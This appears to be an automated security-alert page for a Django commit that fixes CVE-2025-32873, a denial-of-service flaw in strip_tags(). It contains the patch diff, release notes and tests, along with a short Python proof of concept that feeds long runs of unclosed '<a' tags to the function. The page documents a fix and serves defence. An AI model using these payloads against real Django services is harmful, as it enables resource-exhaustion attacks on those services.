Denial of Service (DoS) / Resource exhaustion

HIGH
django/django
Commit: 9f3419b51979
Affected: 5.1.x before 5.1.9 (vulnerability present in 5.1.0–5.1.8)
2026-04-05 13:56 UTC

Description

CVE-2025-32873 describes a Denial-of-Service (DoS) possibility in Django's strip_tags() function. The fix adds a guard to strip_tags() to detect inputs containing large sequences of unclosed opening tags. If a long opening tag sequence is detected (based on a regex that matches a tag starting with a letter and lacking a closing '>' for 1000+ characters) and the number of opening angle-bracket markers ('<') within that match reaches or exceeds MAX_STRIP_TAGS_DEPTH (50), Django raises SuspiciousOperation. This prevents pathological inputs from causing excessive CPU usage during tag-stripping, addressing a potential DoS vector via crafted HTML-like input. Tests were added to ensure that inputs with many unclosed opening tags trigger the exception. The change is a real vulnerability fix and is not just a version bump or a test addition; it adds a concrete runtime guard and accompanying tests.

Proof of Concept

Python PoC demonstrating the DoS vector (requires a pre-fix Django 5.1.x): import time from django.utils.html import strip_tags # Crafted input that simulates a pathological case of many unclosed opening tags payload = "<a" * 501 # 501 opening segments without a closing '>' print("Payload length:", len(payload)) start = time.time() # In vulnerable versions, this could take an extremely long time due to excessive tag processing strip_tags(payload) end = time.time() print("Elapsed (s):", end - start) # Alternative heavier case (to illustrate the same class of attack) payload2 = ">" + "<a" * 502 start2 = time.time() strip_tags(payload2) end2 = time.time() print("Elapsed2 (s):", end2 - start2)

Commit Details

Author: Sarah Boyce

Date: 2025-04-08 14:30 UTC

Message:

Fixed CVE-2025-32873 -- Mitigated potential DoS in strip_tags(). Thanks to Elias Myllymäki for the report, and Shai Berger and Jake Howard for the reviews. Co-authored-by: Natalia <124304+nessita@users.noreply.github.com>

Triage Assessment

Vulnerability Type: Denial-of-Service (DoS)

Confidence: HIGH

Reasoning:

Commit fixes CVE-2025-32873 by introducing a guard in strip_tags() against inputs with large sequences of unclosed opening tags. It raises SuspiciousOperation when many unclosed tags are detected, preventing pathological inputs from causing excessive processing time (DoS). Tests were added to validate the behavior.

Verification Assessment

Vulnerability Type: Denial of Service (DoS) / Resource exhaustion

Confidence: HIGH

Affected Versions: 5.1.x before 5.1.9 (vulnerability present in 5.1.0–5.1.8)

Code Diff

diff --git a/django/utils/html.py b/django/utils/html.py index 8676ae309237..56435eb7e2a1 100644 --- a/django/utils/html.py +++ b/django/utils/html.py @@ -43,6 +43,9 @@ MAX_STRIP_TAGS_DEPTH = 50 +# HTML tag that opens but has no closing ">" after 1k+ chars. +long_open_tag_without_closing_re = _lazy_re_compile(r"<[a-zA-Z][^>]{1000,}") + @keep_lazy(SafeString) def escape(text): @@ -208,6 +211,9 @@ def _strip_once(value): def strip_tags(value): """Return the given HTML with all tags stripped.""" value = str(value) + for long_open_tag in long_open_tag_without_closing_re.finditer(value): + if long_open_tag.group().count("<") >= MAX_STRIP_TAGS_DEPTH: + raise SuspiciousOperation # Note: in typical case this loop executes _strip_once twice (the second # execution does not remove any more tags). strip_tags_depth = 0 diff --git a/docs/releases/4.2.21.txt b/docs/releases/4.2.21.txt index 306269a3e7e0..cc39105a0167 100644 --- a/docs/releases/4.2.21.txt +++ b/docs/releases/4.2.21.txt @@ -7,6 +7,17 @@ Django 4.2.21 release notes Django 4.2.21 fixes a security issue with severity "moderate", a data loss bug, and a regression in 4.2.20. +CVE-2025-32873: Denial-of-service possibility in ``strip_tags()`` +================================================================= + +:func:`~django.utils.html.strip_tags` would be slow to evaluate certain inputs +containing large sequences of incomplete HTML tags. This function is used to +implement the :tfilter:`striptags` template filter, which was thus also +vulnerable. + +:func:`~django.utils.html.strip_tags` now raises a :exc:`.SuspiciousOperation` +exception if it encounters an unusually large number of unclosed opening tags. + Bugfixes ======== diff --git a/docs/releases/5.1.9.txt b/docs/releases/5.1.9.txt index dec03a696405..f238ac1f7e51 100644 --- a/docs/releases/5.1.9.txt +++ b/docs/releases/5.1.9.txt @@ -7,6 +7,17 @@ Django 5.1.9 release notes Django 5.1.9 fixes a security issue with severity "moderate", a data loss bug, and a regression in 5.1.8. +CVE-2025-32873: Denial-of-service possibility in ``strip_tags()`` +================================================================= + +:func:`~django.utils.html.strip_tags` would be slow to evaluate certain inputs +containing large sequences of incomplete HTML tags. This function is used to +implement the :tfilter:`striptags` template filter, which was thus also +vulnerable. + +:func:`~django.utils.html.strip_tags` now raises a :exc:`.SuspiciousOperation` +exception if it encounters an unusually large number of unclosed opening tags. + Bugfixes ======== diff --git a/docs/releases/5.2.1.txt b/docs/releases/5.2.1.txt index 1f696a755108..0d7b40bf4293 100644 --- a/docs/releases/5.2.1.txt +++ b/docs/releases/5.2.1.txt @@ -7,6 +7,17 @@ Django 5.2.1 release notes Django 5.2.1 fixes a security issue with severity "moderate" and several bugs in 5.2. +CVE-2025-32873: Denial-of-service possibility in ``strip_tags()`` +================================================================= + +:func:`~django.utils.html.strip_tags` would be slow to evaluate certain inputs +containing large sequences of incomplete HTML tags. This function is used to +implement the :tfilter:`striptags` template filter, which was thus also +vulnerable. + +:func:`~django.utils.html.strip_tags` now raises a :exc:`.SuspiciousOperation` +exception if it encounters an unusually large number of unclosed opening tags. + Bugfixes ======== diff --git a/tests/utils_tests/test_html.py b/tests/utils_tests/test_html.py index 88e77a3c824b..4ce552e79a0d 100644 --- a/tests/utils_tests/test_html.py +++ b/tests/utils_tests/test_html.py @@ -145,17 +145,30 @@ def test_strip_tags(self): ("><!" + ("&" * 16000) + "D", "><!" + ("&" * 16000) + "D"), ("X<<<<br>br>br>br>X", "XX"), ("<" * 50 + "a>" * 50, ""), + (">" + "<a" * 500 + "a", ">" + "<a" * 500 + "a"), + ("<a" * 49 + "a" * 951, "<a" * 49 + "a" * 951), + ("<" + "a" * 1_002, "<" + "a" * 1_002), ) for value, output in items: with self.subTest(value=value, output=output): self.check_output(strip_tags, value, output) self.check_output(strip_tags, lazystr(value), output) - def test_strip_tags_suspicious_operation(self): + def test_strip_tags_suspicious_operation_max_depth(self): value = "<" * 51 + "a>" * 51, "<a>" with self.assertRaises(SuspiciousOperation): strip_tags(value) + def test_strip_tags_suspicious_operation_large_open_tags(self): + items = [ + ">" + "<a" * 501, + "<a" * 50 + "a" * 950, + ] + for value in items: + with self.subTest(value=value): + with self.assertRaises(SuspiciousOperation): + strip_tags(value) + def test_strip_tags_files(self): # Test with more lengthy content (also catching performance regressions) for filename in ("strip_tags1.html", "strip_tags2.txt"):
← Back to Alerts View on GitHub →